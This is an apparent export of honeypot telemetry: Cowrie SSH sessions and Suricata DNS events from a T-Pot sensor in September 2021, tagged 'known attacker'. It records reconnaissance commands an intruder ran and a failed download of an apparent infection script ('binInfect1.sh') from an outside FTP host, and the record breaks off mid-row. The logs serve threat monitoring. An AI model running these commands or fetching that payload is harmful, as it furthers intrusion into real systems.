20274	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:19.04337+03	2021-09-20 14:15:02.174612+03	{"_id": "EAXeAnwBvYTbRNuE-vem", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.session.params", "message": [], "session": "adb85be76cac", "@version": "1", "timestamp": "2021-09-20T11:02:19.043370Z", "@timestamp": "2021-09-20T11:02:19.043Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20275	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:19.301691+03	2021-09-20 14:15:02.175612+03	{"_id": "EwXeAnwBvYTbRNuE-vem", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.session.params", "message": [], "session": "adb85be76cac", "@version": "1", "timestamp": "2021-09-20T11:02:19.301691Z", "@timestamp": "2021-09-20T11:02:19.301Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20276	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:19.302242+03	2021-09-20 14:15:02.176613+03	{"_id": "FQXeAnwBvYTbRNuE-vem", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "input": "lscpu | grep Model", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.command.input", "message": "CMD: lscpu | grep Model", "session": "adb85be76cac", "@version": "1", "timestamp": "2021-09-20T11:02:19.302242Z", "@timestamp": "2021-09-20T11:02:19.302Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20277	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:19.379324+03	2021-09-20 14:15:02.177613+03	{"_id": "FgXeAnwBvYTbRNuE-vem", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 26, "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "src_ip": "91.200.124.7", "ttylog": "log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0 seconds", "session": "adb85be76cac", "@version": "1", "duration": 0.07773065567016602, "duplicate": true, "timestamp": "2021-09-20T11:02:19.379324Z", "@timestamp": "2021-09-20T11:02:19.379Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20278	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:19.533908+03	2021-09-20 14:15:02.178612+03	{"_id": "FwXeAnwBvYTbRNuE-vem", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "input": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "session": "adb85be76cac", "@version": "1", "timestamp": "2021-09-20T11:02:19.533908Z", "@timestamp": "2021-09-20T11:02:19.533Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20279	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:19.760859+03	2021-09-20 14:15:02.179613+03	{"_id": "GQXeAnwBvYTbRNuE-veo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.session.params", "message": [], "session": "adb85be76cac", "@version": "1", "timestamp": "2021-09-20T11:02:19.760859Z", "@timestamp": "2021-09-20T11:02:19.760Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20280	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:19.761406+03	2021-09-20 14:15:02.180614+03	{"_id": "GgXeAnwBvYTbRNuE-veo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "input": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.command.input", "message": "CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "session": "adb85be76cac", "@version": "1", "timestamp": "2021-09-20T11:02:19.761406Z", "@timestamp": "2021-09-20T11:02:19.761Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20281	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:19.838338+03	2021-09-20 14:15:02.181613+03	{"_id": "GwXeAnwBvYTbRNuE-veo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "src_ip": "91.200.124.7", "ttylog": "log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0 seconds", "session": "adb85be76cac", "@version": "1", "duration": 0.07757711410522461, "duplicate": true, "timestamp": "2021-09-20T11:02:19.838338Z", "@timestamp": "2021-09-20T11:02:19.838Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20283	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:20.324761+03	2021-09-20 14:15:02.183613+03	{"_id": "HwXeAnwBvYTbRNuE_veP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 23, "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "src_ip": "91.200.124.7", "ttylog": "log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0 seconds", "session": "adb85be76cac", "@version": "1", "duration": 0.07634353637695312, "duplicate": true, "timestamp": "2021-09-20T11:02:20.324761Z", "@timestamp": "2021-09-20T11:02:20.324Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20284	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:20.475655+03	2021-09-20 14:15:02.184642+03	{"_id": "IgXeAnwBvYTbRNuE_veP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.session.params", "message": [], "session": "adb85be76cac", "@version": "1", "timestamp": "2021-09-20T11:02:20.475655Z", "@timestamp": "2021-09-20T11:02:20.475Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20285	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:20.709073+03	2021-09-20 14:15:02.185642+03	{"_id": "JgXeAnwBvYTbRNuE_veP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "input": "uname -m", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.command.input", "message": "CMD: uname -m", "session": "adb85be76cac", "@version": "1", "timestamp": "2021-09-20T11:02:20.709073Z", "@timestamp": "2021-09-20T11:02:20.709Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20286	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:20.784801+03	2021-09-20 14:15:02.186643+03	{"_id": "JwXeAnwBvYTbRNuE_veP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 8, "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "src_ip": "91.200.124.7", "ttylog": "log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0 seconds", "session": "adb85be76cac", "@version": "1", "duration": 0.07636618614196777, "duplicate": true, "timestamp": "2021-09-20T11:02:20.784801Z", "@timestamp": "2021-09-20T11:02:20.784Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20287	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:19.992945+03	2021-09-20 14:15:02.187616+03	{"_id": "KAXeAnwBvYTbRNuE_veX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.session.params", "message": [], "session": "adb85be76cac", "@version": "1", "timestamp": "2021-09-20T11:02:19.992945Z", "@timestamp": "2021-09-20T11:02:19.992Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20288	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:19.993485+03	2021-09-20 14:15:02.189614+03	{"_id": "KQXeAnwBvYTbRNuE_veX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "input": "ls -lh $(which ls)", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.command.input", "message": "CMD: ls -lh $(which ls)", "session": "adb85be76cac", "@version": "1", "timestamp": "2021-09-20T11:02:19.993485Z", "@timestamp": "2021-09-20T11:02:19.993Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20289	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:19.993984+03	2021-09-20 14:15:02.190642+03	{"_id": "KgXeAnwBvYTbRNuE_veX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "input": "which ls", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.command.input", "message": "CMD: which ls", "session": "adb85be76cac", "@version": "1", "timestamp": "2021-09-20T11:02:19.993984Z", "@timestamp": "2021-09-20T11:02:19.993Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20290	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:20.932664+03	2021-09-20 14:15:02.191652+03	{"_id": "KwXeAnwBvYTbRNuE_veX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.session.params", "message": [], "session": "adb85be76cac", "@version": "1", "timestamp": "2021-09-20T11:02:20.932664Z", "@timestamp": "2021-09-20T11:02:20.932Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20291	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:20.933218+03	2021-09-20 14:15:02.192643+03	{"_id": "LAXeAnwBvYTbRNuE_veX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "input": "cat /proc/cpuinfo | grep model | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep model | grep name | wc -l", "session": "adb85be76cac", "@version": "1", "timestamp": "2021-09-20T11:02:20.933218Z", "@timestamp": "2021-09-20T11:02:20.933Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20292	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:02:03.919569+03	2021-09-20 14:15:02.193642+03	{"_id": "fwXeAnwBvYTbRNuEv_Y5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 4448, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "betaalverzoek.ir", "rrtype": "A", "answers": [{"ttl": 550, "rdata": "109.104.151.11", "rrname": "betaalverzoek.ir", "rrtype": "A"}], "grouped": {"A": ["109.104.151.11"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1621654730637528, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 50920, "timestamp": "2021-09-20T11:02:03.919569Z", "@timestamp": "2021-09-20T11:02:03.919Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
20293	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:02:04.579768+03	2021-09-20 14:15:02.194615+03	{"_id": "ggXeAnwBvYTbRNuEv_Y5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 5019, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "betaalverzoek.ir", "rrtype": "AAAA", "version": 2, "authorities": [{"ttl": 3600, "rrname": "betaalverzoek.ir", "rrtype": "SOA"}]}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 109023083561165, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 52710, "timestamp": "2021-09-20T11:02:04.579768Z", "@timestamp": "2021-09-20T11:02:04.579Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
20294	123.126.106.88	109.199.241.180	Cowrie	2021-09-20 14:02:04.956042+03	2021-09-20 14:15:02.195614+03	{"_id": "iQXeAnwBvYTbRNuEwPZb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.126.106.88", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 123.126.106.88:48250 (192.168.176.2:22) [session: 1bdcf882e061]", "session": "1bdcf882e061", "@version": "1", "protocol": "ssh", "src_port": 48250, "dest_port": 22, "timestamp": "2021-09-20T11:02:04.956042Z", "@timestamp": "2021-09-20T11:02:04.956Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
20295	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:02:04.956907+03	2021-09-20 14:15:02.196615+03	{"_id": "igXeAnwBvYTbRNuEwPZb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 113.105.80.34:44466 (192.168.176.2:22) [session: 677d5671b64a]", "session": "677d5671b64a", "@version": "1", "protocol": "ssh", "src_port": 44466, "dest_port": 22, "timestamp": "2021-09-20T11:02:04.956907Z", "@timestamp": "2021-09-20T11:02:04.956Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
20296	42.63.158.253	109.199.241.180	Cowrie	2021-09-20 14:02:04.957738+03	2021-09-20 14:15:02.197614+03	{"_id": "iwXeAnwBvYTbRNuEwPZb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "42.63.158.253", "asn": 4837, "as_org": "CNCGROUP China169 Backbone", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "42.63.158.253", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 42.63.158.253:56920 (192.168.176.2:22) [session: d22b91cb4d10]", "session": "d22b91cb4d10", "@version": "1", "protocol": "ssh", "src_port": 56920, "dest_port": 22, "timestamp": "2021-09-20T11:02:04.957738Z", "@timestamp": "2021-09-20T11:02:04.957Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
20297	109.104.151.106	109.199.241.180	Cowrie	2021-09-20 14:02:04.942627+03	2021-09-20 14:15:02.198643+03	{"_id": "jQXeAnwBvYTbRNuEwPZb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"url": "ftp://anonymous:anonymous@betaalverzoek.ir/binInfect1.sh", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "109.104.151.106", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "109.104.151.106", "eventid": "cowrie.session.file_download.failed", "message": "Attempt to download file(s) from URL (ftp://anonymous:anonymous@betaalverzoek.ir/binInfect1.sh) failed", "session": 